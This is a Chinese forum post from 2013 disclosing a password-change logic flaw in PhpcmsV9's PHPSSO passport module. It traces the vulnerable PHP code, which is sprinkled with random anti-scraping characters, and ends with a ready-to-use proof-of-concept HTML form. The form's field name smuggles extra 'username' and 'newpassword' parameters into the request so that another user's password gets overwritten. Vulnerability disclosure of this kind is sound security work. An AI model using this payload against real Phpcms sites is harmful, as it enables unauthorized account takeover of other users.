找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2176|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:9 n6 Y7 y; R1 W0 j: g

. @/ s' A* b" g1 u: C# @$ k9 b1 x& A! u- Q- p
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);8 p4 _# f1 n2 @5 z6 z" x
, u7 q5 J# \# D3 }
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
9 c. X) o+ [& H5 M3 f
0 A7 L+ T* A0 e/ ]我把它留给了你们。
$ @9 K4 w! _5 m& A0 ], G不知道你们发现了它没有。
) |! I% j$ \+ f7 P* X6 i, E% K+ d- ^& r% c4 u- H5 h, z+ W
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。' Y) ~. d- |  _) B
1 W7 {! r7 H) b) U
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。+ k" h9 Y6 \8 [: z5 T
# N5 {& S  x4 Y1 G1 N5 }+ i: d
也就是
# c8 ^. `, N4 ?5 [; P. e2 ^  a( i' i; d8 n1 F- O; ]
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。8 C& W( s2 K$ H0 H

/ j9 e6 s1 W( j要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
0 R. b; @6 `, \! |0 y; `! n$ Z4 k5 P
- M5 U9 Q# r+ h
其实我们有这样的机会,看看代码,如下:
' T! \' ^/ v, b) P6 z/ s4 O
# F4 g5 @+ Q; k7 s1 P4 Y# @6 h
7 I" B( x2 V1 B' epublic function auth_data($data) {
; c4 K( z/ d* v                $s = $sep = '';
) o) Y* u3 g1 m: @  e/ Z                foreach($data as $k => $v) {1 r1 ~7 m$ I4 n
                        if(is_array($v)) {( d1 \: k! ]) a- z# y7 d* D, f3 l
                                $s2 = $sep2 = '';9 t* R8 [7 n9 ^6 P! Z4 ?: {
                                foreach($v as $k2 => $v2) {
7 V+ r1 ~6 }8 Q+ f! J1 M2 x3 X                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$ T; N8 R: U3 l6 X: k6 G- f                                        $sep2 = '&';- [( e% A% ~' q0 \. P# t
                                }* a" x& J! ~' n: T6 O
                                $s .= $sep.$s2;: O# b& _/ C$ C9 y
                        } else {
+ v  F9 O) h. l; S8 v$ \5 H( I! o                                $s .= "$sep$k=".$this->_ps_stripslashes($v);% D8 S7 z( Q/ j3 ^: h/ t" f
                        }
: I0 \3 G' U* T6 g3 s0 c# E8 m                        $sep = '&';
2 T$ @; R5 L* [) Q% G$ u  }9 ^/ ~                }
2 [- ?! N2 K, x) `5 a  V
( q5 D% ~, y  H2 c                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));) W: v: u$ i( _4 S
                return $auth_s;
' B% x" ]* D+ m( m: I( |/ r. N& U        }) k1 N5 B1 F. a% G# S: E5 f! k6 c

. k$ a! i6 \- ]: O可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
  p- g! e& J3 i+ b# N$ ]: c8 s0 D& t* F+ X8 q3 x/ h0 L, F/ d
举个例子7 g: [9 s3 c8 e

; {+ x; s1 {: {' r9 V$ e$a[aaa=a&bbb] = 'a';
/ b: e; |+ W* l: Y$ ^
/ ?' }8 T& l. m( U3 o+ l2 D会变成aaa=a&bbb=a
- h2 a; M; B0 w1 L
6 q8 G+ d9 r; d9 q! k( q明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。) _2 _1 ?5 L2 ]5 X- e8 u: G
$ r  d2 q* r' v
这个时候,我们可以再去看一个函数。4 y# t9 e4 M! U& f, V) G
: e. C/ m& c2 T8 p0 X% E4 a
就在这个文件内:, ?% B# U8 [; D4 F% _

5 f! g9 K; E2 }
, G% e: y# ~- ?" n7 @7 B( i* j% ^public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
; Q4 \; j% H! H8 u' L8 b$ C                if($email && !$this->_is_email($email)) {
/ f" l' p7 @9 F4 N% j9 @% |! Y$ K                        return -4;: N. y5 f0 w8 E! o: S
                }/ R; I. F1 X) V, a: y$ ^
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
+ y* `8 j- e$ @% H  W8 N        }) B; J1 v8 \0 F# V% p% ~) Y
0 a- f* g" O/ ~" k
这是向通行证发了这样一个请求。
' l, w/ e2 D3 a% H  r
3 |5 s# u- H8 F2 e$ b我们再跟到通信证代码里去看看,就会有所发现。5 S; W2 b8 U! K/ h+ q+ d+ o
8 r- t; s8 ?# b! t1 u
$ W6 [2 B9 |, v8 @! d% K
public function edit() {. m- F+ P( _) k( x# c( e8 A
//能省就省,太长了不是吗?  U: U( ?& H0 f
) g1 _) i  v8 M) ?& N* Y
if($this->username) {" b  p& x  e, m7 h" f* r2 W+ M$ B1 M
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。( h; B4 f, ?# V6 z
                                $res = $this->db->update($data, array('username'=>$this->username));
; q4 |1 U3 C$ {5 Q) {                        } else {3 U3 O1 T9 E- @6 N% P. Z6 x
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);: [. @+ T( N4 z: f
                                $res = $this->db->update($data, array('uid'=>$this->uid));) O2 m; l! B' z7 u: h4 f0 o# H  Z1 E
                        }* o# M0 J' ^; F# S
$ n2 i1 a; X0 {; r' K8 I+ D+ s
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( q' V2 o. X+ m( Q
4 _) a$ \: ~1 Y, |1 J* Mpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
+ H  h7 G9 d' Q# C: c2 U0 A/ d+ W  ?* A. A* U2 ?9 ~
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。+ d5 n* F. S$ G: S* n) f; \. ^* I5 v

; S9 Z9 T. |3 T4 M$ a我当然找到了:. N$ @5 F5 a9 a+ i  D1 L% D/ K) K
phpcms9/phpcms/modules/member/index.php8 p  z" ?, [  `0 p

) H  y, j, Y2 l# _$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);  ]5 Z  T% Y& p" C0 q* Y
5 q9 k" o- c, J- Y2 `6 {& J
然后就没有然后了。% q& {' {0 A8 b+ B8 O* W2 \' q
; ?9 T4 r' |$ O4 N& X0 j& H% e' i
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">, ]. p" {) Q0 K% \
                                <table width="100%" cellspacing="0" class="table_form">
8 X1 W4 c  d$ ~& A2 Y                                        <tr>% `% Q9 p' e2 c8 k1 V
                                                <th width="80">邮箱:</th>        . O- d4 U6 e" C- c4 p5 ~. o4 h
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
- D' l% F  ?0 G                                        </tr>
$ }2 }. s, T# Z3 R3 \7 w9 A                                        <tr>
; R+ ]7 O0 x' j2 m  S                                                <th width="80">原密码:</th>        , e& `& {/ `% H2 h$ C- f
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>9 m! B. [/ k% X/ y) b
                                        </tr>: G1 e: ~1 m8 Y! V( Y
                                        <tr>
; S* _8 }' B4 B! ?9 o                                                <th>新密码:</th>
2 P: Z7 ?6 g( n                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
3 \# Z, Z/ X- s                                        </tr>
$ B4 i% o. M% z$ E- g# d( p/ s                                        <th></th>! ~* c3 N( b* F
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>- O) M4 ^3 F" T% e% F% [3 b
                                        </tr>
6 N+ t7 R+ q) O" Q. k: e1 H: Q4 K                                </table>
/ ?8 d0 P5 R. y) S/ T) X' q/ ~# z5 O5 |' L
                                * k4 x" X: [/ ^9 k6 T, Y
                        </form>
# b, O' j0 v: ^4 M- r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表